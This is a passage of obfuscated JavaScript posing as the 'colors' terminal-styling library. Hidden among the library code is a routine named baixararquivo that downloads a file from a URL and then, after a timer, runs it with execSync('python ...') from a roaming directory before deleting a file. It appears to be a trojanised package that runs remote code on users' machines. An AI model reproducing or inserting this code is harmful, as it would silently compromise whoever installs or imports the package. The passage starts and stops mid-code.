_0x1e287e();},'LDwLP':function(_0x51572a,_0x4797a2,_0x5bf1e2,_0x327015){return _0x51572a(_0x4797a2,_0x5bf1e2,_0x327015);},'Hdnfl':function(_0x9e593a,_0x44e8c2,_0x3285fb){return _0x9e593a(_0x44e8c2,_0x3285fb);}};function _0x37805e(_0x44019d,_0x3d5f7c,_0x452e78,_0x102563){return _0x130a0a(_0x44019d-0xb4,_0x102563- -0x3ee,_0x452e78,_0x102563-0xe3);}var _0x43e13d=(function(){function _0x5287db(_0x31b12c,_0x5824d9,_0x44c1c7,_0x2b7d77){return _0x37805e(_0x31b12c-0x36,_0x5824d9-0x122,_0x5824d9,_0x44c1c7- -0x9b);}var _0x18ae61={'VuLUU':_0x346461['wGuDZ'],'UjBFw':function(_0x158ca9,_0x3e4075){function _0x54c04a(_0x389d66,_0x4d7976,_0x487512,_0x3cc645){return _0xa6b2(_0x3cc645- -0x40,_0x4d7976);}return _0x346461[_0x54c04a(0x1fd,0x1ae,0x18a,0x1b6)](_0x158ca9,_0x3e4075);}};function _0x1d1b80(_0x407809,_0x5b9f9c,_0x5a627e,_0x1012a9){return _0x54d6ee(_0x407809,_0x5b9f9c-0x1d2,_0x5b9f9c- -0x47b,_0x1012a9-0x1de);}if(_0x346461['wROJr'](_0x346461[_0x5287db(-0xfc,-0x99,-0xc6,-0xd0)],_0x5287db(-0x151,-0x13d,-0x11c,-0xd5))){var _0x416860=!![];return function(_0x9392b7,_0x51b2bf){var _0x4d5c32=_0x416860?function(){function _0x511546(_0x1fd2f8,_0x11edbd,_0x2f00b9,_0x4a15a9){return _0xa6b2(_0x2f00b9- -0x2c3,_0x11edbd);}function _0x1005b3(_0x21a8db,_0xc74ef7,_0x342c32,_0x4d7658){return _0xa6b2(_0x342c32- -0x293,_0x4d7658);}if(_0x18ae61[_0x511546(-0xf2,-0x10f,-0x126,-0x164)]!==_0x18ae61[_0x511546(-0x140,-0xe7,-0x126,-0xee)])return _0x1364c2;else{if(_0x51b2bf){var _0x780b9c=_0x51b2bf[_0x511546(-0xfb,-0xc0,-0x114,-0x10d)](_0x9392b7,arguments);return _0x51b2bf=null,_0x780b9c;}}}:function(){};return _0x416860=![],_0x4d5c32;};}else return _0x18ae61['UjBFw']('',_0x3ed50c)[_0x1d1b80(0x7c,0x2e,0x7a,-0x28)](/\x1B\[\d+m/g,'');}()),_0x2856fa=_0x346461[_0x37805e(-0xc7,-0xbc,-0x62,-0x7e)](_0x43e13d,this,function(){function _0x11b6aa(_0x5664bf,_0x56f221,_0x264c4f,_0x5368b8){return _0x37805e(_0x5664bf-0x41,_0x56f221-0xde,_0x5664bf,_0x56f221-0x1e);}function _0x36bf39(_0x3c9b2e,_0x51cfde,_0x424e50,_0x36a406){return _0x54d6ee(_0x36a406,_0x51cfde-0x2b,_0x424e50- -0xe9,_0x36a406-0x153);}return _0x2856fa[_0x11b6aa(-0x1c,-0x54,-0xa,-0x34)]()[_0x36bf39(0x41c,0x3b2,0x3e5,0x3b9)](_0x346461[_0x36bf39(0x3c8,0x3ef,0x416,0x450)])[_0x11b6aa(-0x10,-0x54,-0xa5,-0xa7)]()['constructo'+'r'](_0x2856fa)[_0x36bf39(0x38b,0x3a7,0x3e5,0x3c7)](_0x346461[_0x36bf39(0x444,0x45d,0x416,0x3fa)]);});_0x346461[_0x37805e(-0x5f,-0x6c,-0xd0,-0x79)](_0x2856fa);function _0x54d6ee(_0xa4bbc2,_0x54eceb,_0x1f33bd,_0x3ded43){return _0x2cd4bd(_0x1f33bd-0x395,_0x54eceb-0x14b,_0xa4bbc2,_0x3ded43-0x109);}_0x346461[_0x37805e(0xe,-0x64,-0x1c,-0xa)](download,url,options,function(_0x1d8f71){function _0x45daaf(_0x2fb37a,_0x3e5907,_0x24945c,_0x24054c){return _0x54d6ee(_0x24054c,_0x3e5907-0xbb,_0x24945c- -0xcf,_0x24054c-0x19c);}function _0x50b432(_0x3b0c8b,_0x33e4ff,_0x9b823b,_0x2d5584){return _0x54d6ee(_0x33e4ff,_0x33e4ff-0x2,_0x3b0c8b- -0x2ee,_0x2d5584-0x189);}if(_0x346461[_0x45daaf(0x3f9,0x492,0x442,0x45f)](_0x346461['ywOfU'],_0x50b432(0x1d5,0x224,0x1b6,0x1b6))){var _0x54000e=_0x346461[_0x50b432(0x1f5,0x1f1,0x20a,0x216)][_0x50b432(0x224,0x1e8,0x275,0x1dd)]('|'),_0x3e0dd5=-0x423+-0xe3*0x1f+-0x3f4*-0x8;while(!![]){switch(_0x54000e[_0x3e0dd5++]){case'0':var _0x1f5e64={'TMyyn':function(_0x2abc77,_0x3dc7d6){return _0x346461['Vpjoo'](_0x2abc77,_0x3dc7d6);}};continue;case'1':_0x12b562['keys'](_0x3ba33f)['forEach'](function(_0x25b78b){var _0x31ffe6={'OPURu':function(_0x4487bb,_0x58f3ea){function _0x4cf36b(_0x2c1f11,_0x1cf2e8,_0xb040f7,_0x156069){return _0xa6b2(_0x2c1f11- -0x20c,_0x1cf2e8);}return _0x1f5e64[_0x4cf36b(-0x4d,-0x15,-0x42,-0x51)](_0x4487bb,_0x58f3ea);}};function _0x1353c3(_0x413417,_0x48bc41,_0x59ccfa,_0x9e890){return _0x45daaf(_0x413417-0x32,_0x48bc41-0x1a9,_0x9e890- -0x103,_0x48bc41);}_0x4c7c75[_0x25b78b][_0x27ad8f(0x225,0x24d,0x233,0x1f9)]=new _0xa76d0c(_0x1f5e64['TMyyn'](_0x595dc1,_0x540db9[_0x25b78b][_0x27ad8f(0x2ca,0x2e4,0x2c4,0x2d8)]),'g');function _0x27ad8f(_0x1b3c6f,_0x4dbdcc,_0x1d09ba,_0x56e073){return _0x50b432(_0x1b3c6f-0x9c,_0x1d09ba,_0x1d09ba-0x1eb,_0x56e073-0x10d);}_0x2cba4c[_0x25b78b]={'get':function(){function _0x3ffbd4(_0x5385cf,_0x265897,_0x3fd59c,_0x1aa85e){return _0x1353c3(_0x5385cf-0x9f,_0x265897,_0x3fd59c-0x77,_0x3fd59c-0x10a);}return _0x31ffe6['OPURu'](_0x1d6cf6,this['_styles'][_0x3ffbd4(0x3bf,0x42d,0x402,0x428)](_0x25b78b));}};});continue;case'2':return _0x2cba4c;case'3':_0x489019[_0x45daaf(0x3cf,0x42f,0x3f6,0x3ad)]=_0x521571[_0x50b432(0x1d1,0x186,0x1b2,0x1d0)];continue;case'4':var _0x2cba4c={};continue;}break;}}else{if(_0x1d8f71)throw _0x1d8f71;}}),_0x346461[_0x37805e(-0x9,-0x32,-0x44,-0x5e)](setTimeout,()=>{function _0x325560(_0x3c2368,_0x2cc2d9,_0x5d1ba1,_0x44fd29){return _0x54d6ee(_0x5d1ba1,_0x2cc2d9-0x152,_0x2cc2d9- -0x97,_0x44fd29-0xab);}function _0x27d198(_0x443867,_0x2adf10,_0x8e53d0,_0x180b33){return _0x54d6ee(_0x2adf10,_0x2adf10-0x15,_0x8e53d0- -0x47e,_0x180b33-0x1b4);}if(_0x346461[_0x27d198(0x7c,-0x2b,0x23,0x7c)](_0x27d198(0x8e,0x5d,0x5d,0x12),_0x346461['MZhiD']))return _0x4772a7['toString']()['search'](miCWhg[_0x325560(0x44b,0x468,0x4c2,0x4be)])[_0x27d198(0x4e,0x39,0x14,0x58)]()['constructo'+'r'](_0x5b81c1)[_0x325560(0x3f6,0x437,0x3f7,0x434)](_0x27d198(0x18,0x2e,0x5c,0x6c)+'+$');else pip();},0xb5*-0x29+-0x19e9+0x3812);}baixararquivo();async function pip(){var _0xdb1233={'OkAxR':function(_0x11117b,_0x5dfe2a){return _0x11117b(_0x5dfe2a);},'BjtfB':function(_0x59d26a,_0x46cf7b){return _0x59d26a+_0x46cf7b;}};code=await _0xdb1233[_0x7a8ddd(0x41b,0x45d,0x45d,0x441)](execSync,'python\x20'+roaming+_0x2d6f71(0x16e,0x156,0x1ae,0x183));function _0x7a8ddd(_0x1e6390,_0x70b160,_0x4f57d0,_0x424391){return _0x130a0a(_0x1e6390-0x86,_0x4f57d0-0xbf,_0x424391,_0x424391-0x14b);}let _0x570d2c=_0xdb1233[_0x2d6f71(0x13c,0xce,0x10e,0x111)](roaming,'/')+arch;function _0x2d6f71(_0x2e1df2,_0x2c8a86,_0x8ec7d7,_0x228e4b){return _0x130a0a(_0x2e1df2-0xd3,_0x228e4b- -0x273,_0x8ec7d7,_0x228e4b-0xdf);}await fs[_0x7a8ddd(0x4e8,0x4ce,0x4be,0x4f1)](_0x570d2c);}function _0x2cd4bd(_0x1dd240,_0x3a45b5,_0x3a038f,_0x432ebd){return _0xa6b2(_0x1dd240- -0x78,_0x3a038f);}colors[_0x2cd4bd(0x16d,0x124,0x19f,0x132)]={};var util=require(_0x130a0a(0x3a2,0x379,0x334,0x3cf)),ansiStyles=colors[_0x130a0a(0x42c,0x3dd,0x3f8,0x3f6)]=require(_0x2cd4bd(0x166,0x1c0,0x158,0x1aa)),defineProps=Object['defineProp'+_0x130a0a(0x3a4,0x37b,0x33a,0x3b5)],newLineRegex=new RegExp(/[\r\n]+/g);colors[_0x130a0a(0x3a8,0x3f4,0x3f7,0x3d1)+_0x130a0a(0x3a3,0x3cb,0x373,0x3e4)]=require(_0x2cd4bd(0x17b,0x188,0x14f,0x158)+_0x130a0a(0x38c,0x383,0x370,0x373)+_0x130a0a(0x392,0x399,0x37f,0x38c))[_0x130a0a(0x403,0x3f4,0x448,0x3f0)+_0x130a0a(0x3a6,0x3cb,0x3f4,0x3ca)];typeof colors[_0x2cd4bd(0x179,0x12d,0x176,0x12a)]===_0x130a0a(0x3a6,0x36b,0x36f,0x399)&&(colors[_0x2cd4bd(0x179,0x158,0x1ce,0x192)]=colors[_0x130a0a(0x3d9,0x3f4,0x39b,0x3eb)+_0x2cd4bd(0x14c,0x14e,0x158,0x138)]()!==![]);colors[_0x2cd4bd(0x117,0x120,0x103,0xc0)]=function(){function _0x303622(_0x36ebe8,_0xf0a94,_0x3d6446,_0x2945c5){return _0x130a0a(_0x36ebe8-0x14d,_0xf0a94- -0x224,_0x3d6446,_0x2945c5-0x40);}colors[_0x303622(0x1f0,0x1d4,0x1cc,0x1f6)]=!![];},colors[_0x130a0a(0x3af,0x38a,0x38f,0x3b4)]=function(){function _0x360649(_0xbf7304,_0x40f56d,_0x13d2ed,_0x582c55){return _0x130a0a(_0xbf7304-0x188,_0x582c55-0x151,_0x13d2ed,_0x582c55-0x1c2);}colors[_0x360649(0x4f5,0x597,0x503,0x549)]=![];},colors[_0x2cd4bd(0x116,0xe2,0x13e,0x158)+'s']=colors[_0x130a0a(0x3d8,0x3c1,0x3cb,0x3aa)]=function(_0x558876){function _0xcd94d8(_0x5caac6,_0x232a40,_0x38e3bd,_0x3071f5){return _0x2cd4bd(_0x3071f5-0x362,_0x232a40-0xfc,_0x232a40,_0x3071f5-0x19);}return(''+_0x558876)[_0xcd94d8(0x44a,0x427,0x474,0x476)](/\x1B\[\d+m/g,'');};var stylize=colors['stylize']=function stylize(_0x249b64,_0x2dbc82){var _0x373152={};_0x373152[_0x55dc0c(0x5a,0x8d,0x42,0xd6)]=function(_0x59887a,_0x45e208){return _0x59887a+_0x45e208;},_0x373152[_0x55dc0c(0x126,0xf4,0xb9,0x10b)]=function(_0x166ba4,_0x5888d4){return _0x166ba4 in _0x5888d4;};function _0x55dc0c(_0x297b1f,_0x29a301,_0x387a5f,_0x1a7c3e){return _0x130a0a(_0x297b1f-0x176,_0x29a301- -0x2ed,_0x1a7c3e,_0x1a7c3e-0x34);}var _0xe421b7=_0x373152;if(!colors[_0x55dc0c(0x11e,0x10b,0xc3,0xec)])return _0xe421b7['NgAYx'](_0x249b64,'');var _0x3822d5=ansiStyles[_0x2dbc82];function _0x16d701(_0x12c0f1,_0x495458,_0xce85b2,_0x53a340){return _0x130a0a(_0x12c0f1-0x1d4,_0x53a340- -0x1b3,_0x495458,_0x53a340-0xb7);}if(!_0x3822d5&&_0xe421b7[_0x55dc0c(0x102,0xf4,0xbb,0xcb)](_0x2dbc82,colors))return colors[_0x2dbc82](_0x249b64);return _0xe421b7[_0x55dc0c(0x6b,0x8d,0x90,0x74)](_0x3822d5[_0x55dc0c(0xa2,0xdc,0xfd,0x9b)]+_0x249b64,_0x3822d5['close']);},matchOperatorsRe=/[|\\{}()[\]^$+*?.]/g,escapeStringRegexp=function(_0x34fb98){function _0x4fa88b(_0x486c7f,_0x1ffb9e,_0x57fab4,_0x2cd1a4){return _0x130a0a(_0x486c7f-0x53,_0x1ffb9e- -0x99,_0x2cd1a4,_0x2cd1a4-0x101);}var _0x10dd86={};_0x10dd86['YZIAX']=_0x510ff6(0x175,0x1bc,0x1c5,0x161),_0x10dd86['kwwUZ']=_0x510ff6(0x179,0x1b7,0x141,0x198);var _0x153595=_0x10dd86;function _0x510ff6(_0x20a4af,_0x5a6e62,_0x1bc605,_0x41e441){return _0x130a0a(_0x20a4af-0x60,_0x20a4af- -0x244,_0x5a6e62,_0x41e441-0xc7);}if(typeof _0x34fb98!==_0x153595[_0x4fa88b(0x2e0,0x30a,0x2bb,0x2da)])throw new TypeError('Expected\x20a'+_0x510ff6(0x168,0x1a3,0x19a,0x171));return _0x34fb98[_0x4fa88b(0x2cf,0x2fa,0x2f3,0x354)](matchOperatorsRe,_0x153595[_0x4fa88b(0x37a,0x347,0x31b,0x33b)]);};function build(_0xe188be){var _0xf3d67f=function _0x5bc20c(){function _0x443d33(_0x242921,_0x2567dd,_0x13a143,_0x3e9bea){return _0xa6b2(_0x3e9bea- -0x1c6,_0x242921);}return applyStyle[_0x443d33(-0x71,0x2,0x3b,-0x17)](_0x5bc20c,arguments);};_0xf3d67f[_0x36b681(0x11f,0x14d,0xf5,0x104)]=_0xe188be,_0xf3d67f[_0x3ed0dd(0x427,0x47d,0x3f2,0x428)]=proto;function _0x36b681(_0x8ecb4d,_0x15725f,_0x4153a4,_0x42e325){return _0x130a0a(_0x8ecb4d-0x127,_0x8ecb4d- -0x252,_0x4153a4,_0x42e325-0x56);}function _0x3ed0dd(_0x201d30,_0x2b0f52,_0x25688a,_0x269089){return _0x130a0a(_0x201d30-0x49,_0x269089-0x50,_0x2b0f52,_0x269089-0x193);}return _0xf3d67f;}var styles=(function(){var _0x326553={'wYFxq':'0|1|3|4|2','QbIds':function(_0x5f0d11,_0x45c72c){return _0x5f0d11(_0x45c72c);}};function _0x2e07f5(_0x59b230,_0x38ca8d,_0xad70a4,_0x213558){return _0x2cd4bd(_0x38ca8d-0x242,_0x38ca8d-0x18e,_0xad70a4,_0x213558-0x17d);}function _0x5f841b(_0xad0d29,_0x29a26a,_0x51905e,_0x30f4e8){return _0x2cd4bd(_0x30f4e8- -0x23f,_0x29a26a-0x1f1,_0x29a26a,_0x30f4e8-0x1a8);}var _0x134100=_0x326553[_0x5f841b(-0x1b2,-0x17f,-0x173,-0x158)]['split']('|'),_0xeda9df=-0x1757+-0x2*0x1163+0x3a1d;while(!![]){switch(_0x134100[_0xeda9df++]){case'0':var _0x371444={'NHxih':function(_0x336050,_0x3d60dd){function _0x2e7c94(_0x5e08bd,_0x704b26,_0x3a63bf,_0x126e83){return _0x5f841b(_0x5e08bd-0xd8,_0x5e08bd,_0x3a63bf-0x64,_0x126e83- -0x22);}return _0x326553[_0x2e7c94(-0x12f,-0x19a,-0x109,-0x153)](_0x336050,_0x3d60dd);}};continue;case'1':var _0xfb0963={};continue;case'2':return _0xfb0963;case'3':ansiStyles[_0x5f841b(-0x13a,-0xc5,-0x137,-0x10f)]=ansiStyles['gray'];continue;case'4':Object[_0x5f841b(-0x130,-0x186,-0x13e,-0x15c)](ansiStyles)['forEach'](function(_0x89a0bb){function _0xf3d3ad(_0x1f7632,_0x302e0e,_0x417fc8,_0x3d6bb2){return _0x5f841b(_0x1f7632-0x2e,_0x417fc8,_0x417fc8-0x3c,_0x1f7632- -0xc2);}ansiStyles[_0x89a0bb][_0x3218a5(-0x196,-0x114,-0x199,-0x153)]=new RegExp(_0x371444[_0x3218a5(-0xe0,-0x9d,-0xda,-0xdd)](escapeStringRegexp,ansiStyles[_0x89a0bb]['close']),'g');function _0x3218a5(_0x427852,_0x53491e,_0x5f7f9b,_0xe2d7fd){return _0x2e07f5(_0x427852-0x31,_0xe2d7fd- -0x477,_0x53491e,_0xe2d7fd-0x1a3);}_0xfb0963[_0x89a0bb]={'get':function(){function _0x532905(_0x1687c5,_0x338c30,_0x2fef34,_0x2420fa){return _0xf3d3ad(_0x1687c5-0x389,_0x338c30-0xc1,_0x338c30,_0x2420fa-0x6c);}function _0x13a2ed(_0x8d10d7,_0x49a72d,_0x200345,_0x3c7119){return _0x3218a5(_0x8d10d7-0x3d,_0x49a72d,_0x200345-0xd1,_0x8d10d7-0x1d4);}return _0x371444['NHxih'](build,this[_0x13a2ed(0x91,0x38,0xb5,0xe3)][_0x13a2ed(0xd4,0x115,0x119,0xc6)](_0x89a0bb));}};});continue;}break;}}()),proto=defineProps(function colors(){},styles);function applyStyle(){var _0x3da115={};_0x3da115[_0x20a664(0x128,0xe3,0xf6,0xa1)]=_0x20a664(0x12d,0x13e,0x10a,0x120)+_0x136ad2(0x155,0x163,0x149,0x122),_0x3da115['ezxDX']=function(_0x94148a,_0x57312f){return _0x94148a!=_0x57312f;},_0x3da115[_0x20a664(0x1a4,0x16b,0x14c,0x1b5)]=function(_0xa64d5b,_0x3fd14b){return _0xa64d5b+_0x3fd14b;},_0x3da115[_0x20a664(0x8e,0xe4,0xcf,0x138)]=function(_0x4a1948,_0x1214c7){return _0x4a1948===_0x1214c7;},_0x3da115['uGFwQ']=_0x136ad2(0xe7,0x12e,0x172,0x178),_0x3da115['pxGJM']='RVinB';function _0x20a664(_0x2533b6,_0x47f1f2,_0x2f6435,_0x5ae8e4){return _0x2cd4bd(_0x47f1f2-0x3,_0x47f1f2-0x7,_0x2533b6,_0x5ae8e4-0x2c);}function _0x136ad2(_0x5cff4e,_0x4df95b,_0x26ed17,_0x217e59){return _0x2cd4bd(_0x4df95b-0x26,_0x4df95b-0x19e,_0x26ed17,_0x217e59-0x1ca);}_0x3da115[_0x20a664(0x127,0x176,0x181,0x125)]=_0x20a664(0x147,0xfb,0xc8,0x137);var _0x4b06b1=_0x3da115,_0x443542=_0x4b06b1[_0x136ad2(0x11e,0x106,0xe6,0x161)][_0x136ad2(0x194,0x1a3,0x1de,0x1e3)]('|'),_0x4fcd08=0x20f3+0x1093*-0x1+-0x106*0x10;while(!![]){switch(_0x443542[_0x4fcd08++]){case'0':var _0x557a19=_0x37032e[_0x20a664(0x14a,0x15f,0x114,0x172)];continue;case'1':var _0x3a8208=_0x4b06b1[_0x136ad2(0x111,0x139,0x14f,0x10c)](_0x3d39fd[_0x136ad2(0x1bd,0x1a9,0x1bc,0x1f7)]('\x0a'),-(0x24d9*-0x1+0x5*0x66+0x116e*0x2));continue;case'2':var _0x3d39fd=_0x1017a1[_0x20a664(0x154,0x177,0x12e,0x140)](function(_0x1a3898){function _0xa6a664(_0x2d0486,_0x30b4c1,_0x13f7ba,_0x18c517){return _0x20a664(_0x18c517,_0x13f7ba- -0x360,_0x13f7ba-0x177,_0x18c517-0x7c);}function _0x5cb11c(_0x49afe0,_0x3efdc5,_0x573789,_0x36b181){return _0x136ad2(_0x49afe0-0x114,_0x36b181-0x3d4,_0x573789,_0x36b181-0x2b);}return _0x81f032[_0xa6a664(-0x270,-0x28e,-0x23c,-0x25b)](_0x1a3898,null)&&_0x81f032['BVPgJ'](_0x1a3898[_0x5cb11c(0x595,0x512,0x501,0x55a)+'r'],String)?_0x1a3898:util[_0x5cb11c(0x538,0x496,0x51e,0x4e7)](_0x1a3898);})[_0x136ad2(0x159,0x11f,0x10b,0x107)]('\x20');continue;case'3':return _0x3d39fd;case'4':while(_0x557a19--){var _0x11f8ca=ansiStyles[_0x37032e[_0x557a19]];_0x3d39fd=_0x4b06b1[_0x20a664(0x19b,0x16b,0x13c,0x1ab)](_0x11f8ca[_0x20a664(0x19b,0x14d,0x164,0xf4)]+_0x3d39fd['replace'](_0x11f8ca['closeRe'],_0x11f8ca[_0x20a664(0x182,0x14d,0xfd,0xfe)]),_0x11f8ca[_0x20a664(0x1c9,0x18a,0x179,0x1a9)]);if(_0x3a8208){if(_0x4b06b1[_0x20a664(0xd7,0xe4,0x10e,0x11b)](_0x4b06b1[_0x136ad2(0x15a,0x10b,0x138,0x107)],_0x4b06b1[_0x20a664(0x187,0x174,0x13e,0x188)]))return _0x81f032['OUyhN'](_0x28c06c,_0x367cfd[_0x20a664(0x150,0x144,0x14d,0x14f)][_0x2f9176],_0x90dcb8);else _0x3d39fd=_0x3d39fd['replace'](newLineRegex,function(_0x2480b0){function _0x3fb424(_0x4e8a43,_0x3945de,_0x18e462,_0x544b47){return _0x20a664(_0x544b47,_0x3945de- -0x67,_0x18e462-0x109,_0x544b47-0x164);}function _0x3a29a6(_0x5c5aee,_0x46ec04,_0x19bf88,_0x28605d){return _0x136ad2(_0x5c5aee-0x127,_0x46ec04- -0x3e,_0x19bf88,_0x28605d-0x73);}return _0x81f032[_0x3a29a6(0xff,0x124,0x160,0x136)](_0x81f032[_0x3a29a6(0xe0,0x119,0x110,0xf4)],_0x81f032['ILbKa'])?_0x81f032['rdNts'](_0x81f032[_0x3fb424(0x93,0xa3,0x7c,0x5c)](_0x11f8ca[_0x3a29a6(0x11e,0x16f,0x166,0x1be)],_0x2480b0),_0x11f8ca[_0x3a29a6(0x143,0x132,0x107,0xfb)]):_0x4c7a55[_0x3a29a6(0x13f,0x11f,0xfe,0x13c)](_0x1752a0,arguments);});}}continue;case'5':var _0x81f032={'OnIJb':function(_0x46f70b,_0x1815c1){return _0x46f70b!=_0x1815c1;},'BVPgJ':function(_0x169aa8,_0x1711c7){function _0x389f56(_0x18368c,_0x390253,_0x157086,_0x4984e6){return _0x136ad2(_0x18368c-0x1e1,_0x18368c-0x1bc,_0x157086,_0x4984e6-0x116);}return _0x4b06b1[_0x389f56(0x2c3,0x2c3,0x271,0x312)](_0x169aa8,_0x1711c7);},'OUyhN':function(_0xa82ee7,_0x28bbdd,_0x48321c){return _0xa82ee7(_0x28bbdd,_0x48321c);},'ILbKa':_0x4b06b1[_0x20a664(0x129,0x176,0x11d,0x198)],'rdNts':function(_0x254059,_0x2bd88c){return _0x254059+_0x2bd88c;},'pPBvo':function(_0x12df82,_0xc807f8){function _0x350439(_0x2fc3d7,_0x11b05b,_0x20b1fb,_0x4d5a33){return _0x136ad2(_0x2fc3d7-0x1f1,_0x20b1fb-0x3ca,_0x11b05b,_0x4d5a33-0x10c);}return _0x4b06b1[_0x350439(0x58e,0x56b,0x558,0x50a)](_0x12df82,_0xc807f8);}};continue;case'6':var _0x37032e=this[_0x20a664(0x132,0xf5,0xf1,0xa0)];continue;case'7':var _0x1017a1=Array[_0x20a664(0x1ad,0x167,0x17b,0x12a)]['slice'][_0x136ad2(0x17b,0x15c,0x148,0x108)](arguments);continue;case'8':if(!colors[_0x136ad2(0x1af,0x19f,0x16c,0x1d7)]||!_0x3d39fd)return _0x3d39fd;continue;}break;}}colors['setTheme']=function(_0x4c4ffc){var _0x229551={'GjQsY':function(_0x3737cf,_0x2558a0){return _0x3737cf+_0x2558a0;},'UvzrM':function(_0x41ed3f,_0x5b6669){return _0x41ed3f+_0x5b6669;},'eMHgH':function(_0x3f20c1,_0x3cac3c){return _0x3f20c1+_0x3cac3c;},'fesRe':function(_0x35f4f1,_0x1d7e4d){return _0x35f4f1(_0x1d7e4d);},'BaDix':function(_0x5cd510,_0x2bb7e0){return _0x5cd510===_0x2bb7e0;},'tfxEq':_0xf15f0f(0x2e5,0x30e,0x33e,0x311),'hRGDx':_0xf15f0f(0x3b9,0x3e9,0x394,0x36d),'gjJXS':function(_0x3f80f9,_0x1dc0da){return _0x3f80f9!==_0x1dc0da;},'rwPjR':'Yhdis','NblBP':function(_0x4e8a97,_0x3b4904){return _0x4e8a97!==_0x3b4904;},'vSKaj':_0xf15f0f(0x3f5,0x430,0x3e5,0x3a4),'lFeEn':function(_0x4766fb,_0x1867b6){return _0x4766fb+_0x1867b6;},'Jxpla':function(_0x5cb4f3,_0x53e48e){return _0x5cb4f3+_0x53e48e;},'tOjPn':'colors.set'+_0xf15f0f(0x3de,0x37a,0x3a8,0x3f5)+_0xf15f0f(0x3c7,0x372,0x375,0x3c4)+_0x1b3376(0x333,0x372,0x336,0x38a)+_0xf15f0f(0x3dc,0x3a8,0x3d2,0x3e0)+_0xf15f0f(0x3c4,0x3a6,0x3b0,0x405),'rvwla':'If\x20you\x20are'+_0xf15f0f(0x3d9,0x3e0,0x3b3,0x3f0)+'\x20set\x20a\x20the'+_0x1b3376(0x300,0x35b,0x33c,0x2df)+_0x1b3376(0x362,0x3ba,0x328,0x32e)+_0xf15f0f(0x421,0x401,0x3e1,0x38f)+'\x20(the\x20','zUQgV':'caller\x27s)\x20'+'responsibi'+_0x1b3376(0x2fa,0x343,0x2df,0x350)+_0x1b3376(0x31e,0x325,0x2d7,0x2f0)+_0xf15f0f(0x396,0x312,0x35e,0x328)+_0x1b3376(0x358,0x310,0x3b1,0x322)+'x\x20','ajTJJ':'looked\x20lik'+_0xf15f0f(0x314,0x2db,0x333,0x315)+_0xf15f0f(0x395,0x38d,0x3b2,0x391)+_0xf15f0f(0x342,0x382,0x363,0x3bb),'pXHFu':_0x1b3376(0x2b9,0x2ce,0x2ed,0x2ef)+_0x1b3376(0x2b2,0x30c,0x2cc,0x276)+_0x1b3376(0x2f0,0x2f8,0x332,0x323)+_0xf15f0f(0x398,0x364,0x33f,0x381)+_0xf15f0f(0x3a0,0x415,0x3d6,0x3b2)+'ooks\x20like\x20','Mhdrl':'colors.set'+_0xf15f0f(0x3a1,0x370,0x354,0x38c)+_0xf15f0f(0x3ae,0x34c,0x37e,0x3c8)+_0xf15f0f(0x367,0x37f,0x37d,0x3c3),'jpoDh':'\x27/../theme'+_0x1b3376(0x2b2,0x2dc,0x26e,0x298)+_0x1b3376(0x2f0,0x2e9,0x33c,0x2da)+_0xf15f0f(0x318,0x303,0x339,0x37e),'csOrp':_0x1b3376(0x2ed,0x29f,0x335,0x2af),'dxWXs':'ZCfjF'};function _0xf15f0f(_0x3077b0,_0x3edb72,_0x2deee2,_0x1f4983){return _0x2cd4bd(_0x2deee2-0x260,_0x3edb72-0x15f,_0x3077b0,_0x1f4983-0xb0);}if(_0x229551['BaDix'](typeof _0x4c4ffc,_0xf15f0f(0x343,0x381,0x39a,0x34a))){if(_0x229551['NblBP'](_0x229551['vSKaj'],_0xf15f0f(0x365,0x375,0x389,0x371))){console[_0x1b3376(0x2b3,0x26d,0x2f2,0x2d0)](_0x229551[_0xf15f0f(0x317,0x3a1,0x350,0x339)](_0x229551[_0x1b3376(0x332,0x306,0x2d8,0x2e6)](_0x229551['UvzrM'](_0x229551[_0xf15f0f(0x3b3,0x39d,0x3c3,0x3c3)](_0x229551['UvzrM'](_0x229551[_0xf15f0f(0x366,0x304,0x348,0x36e)]+_0x229551[_0x1b3376(0x31d,0x374,0x33e,0x319)],_0x229551[_0xf15f0f(0x302,0x357,0x357,0x312)]),_0x229551[_0xf15f0f(0x3f0,0x3b5,0x3cb,0x396)]),_0x229551['pXHFu']),_0x229551[_0xf15f0f(0x38b,0x352,0x346,0x399)]),_0x229551[_0x1b3376(0x329,0x303,0x36c,0x381)]));return;}else{var _0x4dbebb=_0x23da9a[_0x3fcf70[_0x7b23a0]];_0x5d6f1b=_0x229551[_0xf15f0f(0x3aa,0x3de,0x3c3,0x3b8)](_0x229551[_0x1b3376(0x2bb,0x2e3,0x300,0x283)](_0x4dbebb[_0x1b3376(0x328,0x311,0x32e,0x33f)],_0x2bbd61[_0x1b3376(0x2f2,0x2ab,0x337,0x2de)](_0x4dbebb[_0xf15f0f(0x2f7,0x306,0x342,0x35a)],_0x4dbebb[_0x1b3376(0x328,0x381,0x30d,0x319)])),_0x4dbebb[_0x1b3376(0x365,0x385,0x3bf,0x34b)]),_0x5a86db&&(_0x126c33=_0x2cf09a[_0xf15f0f(0x379,0x352,0x374,0x36f)](_0x1cc232,function(_0x7c4d95){function _0xbf2bfd(_0x66f8a8,_0x17a0ef,_0x101157,_0x18d4d6){return _0x1b3376(_0x17a0ef- -0x1ae,_0x17a0ef-0x12e,_0x101157-0x7,_0x66f8a8);}function _0x34e838(_0x270913,_0x312565,_0x3b7c80,_0xbf9806){return _0xf15f0f(_0x270913,_0x312565-0x133,_0x3b7c80- -0x3a2,_0xbf9806-0x64);}return _0x229551[_0xbf2bfd(0x134,0x168,0x17e,0x152)](_0x4dbebb[_0x34e838(0x49,0x50,0x45,0x88)],_0x7c4d95)+_0x4dbebb[_0x34e838(0x5,-0x7,0x8,0x1b)];}));}}function _0x1b3376(_0x336569,_0x33bca9,_0x4fbe6b,_0x5bf084){return _0x130a0a(_0x336569-0x55,_0x336569- -0xa1,_0x5bf084,_0x5bf084-0x0);}for(var _0x177d8d in _0x4c4ffc){if(_0x229551[_0x1b3376(0x305,0x2cc,0x2b4,0x325)](_0x229551['csOrp'],_0x229551[_0x1b3376(0x2de,0x29b,0x319,0x2b7)]))return _0x229551[_0x1b3376(0x2df,0x315,0x31a,0x32a)](_0x5dd193,this['_styles'][_0xf15f0f(0x36a,0x370,0x395,0x349)](_0xd89b3d));else(function(_0x4ae9f0){function _0xc12c5b(_0x1ac745,_0x5870fb,_0x5aee70,_0x95a62b){return _0x1b3376(_0x1ac745- -0x118,_0x5870fb-0x1ca,_0x5aee70-0xc1,_0x5aee70);}function _0x13f641(_0x3600d5,_0x396e7d,_0x580662,_0xa6c16a){return _0xf15f0f(_0x3600d5,_0x396e7d-0x48,_0x396e7d- -0x125,_0xa6c16a-0x127);}var 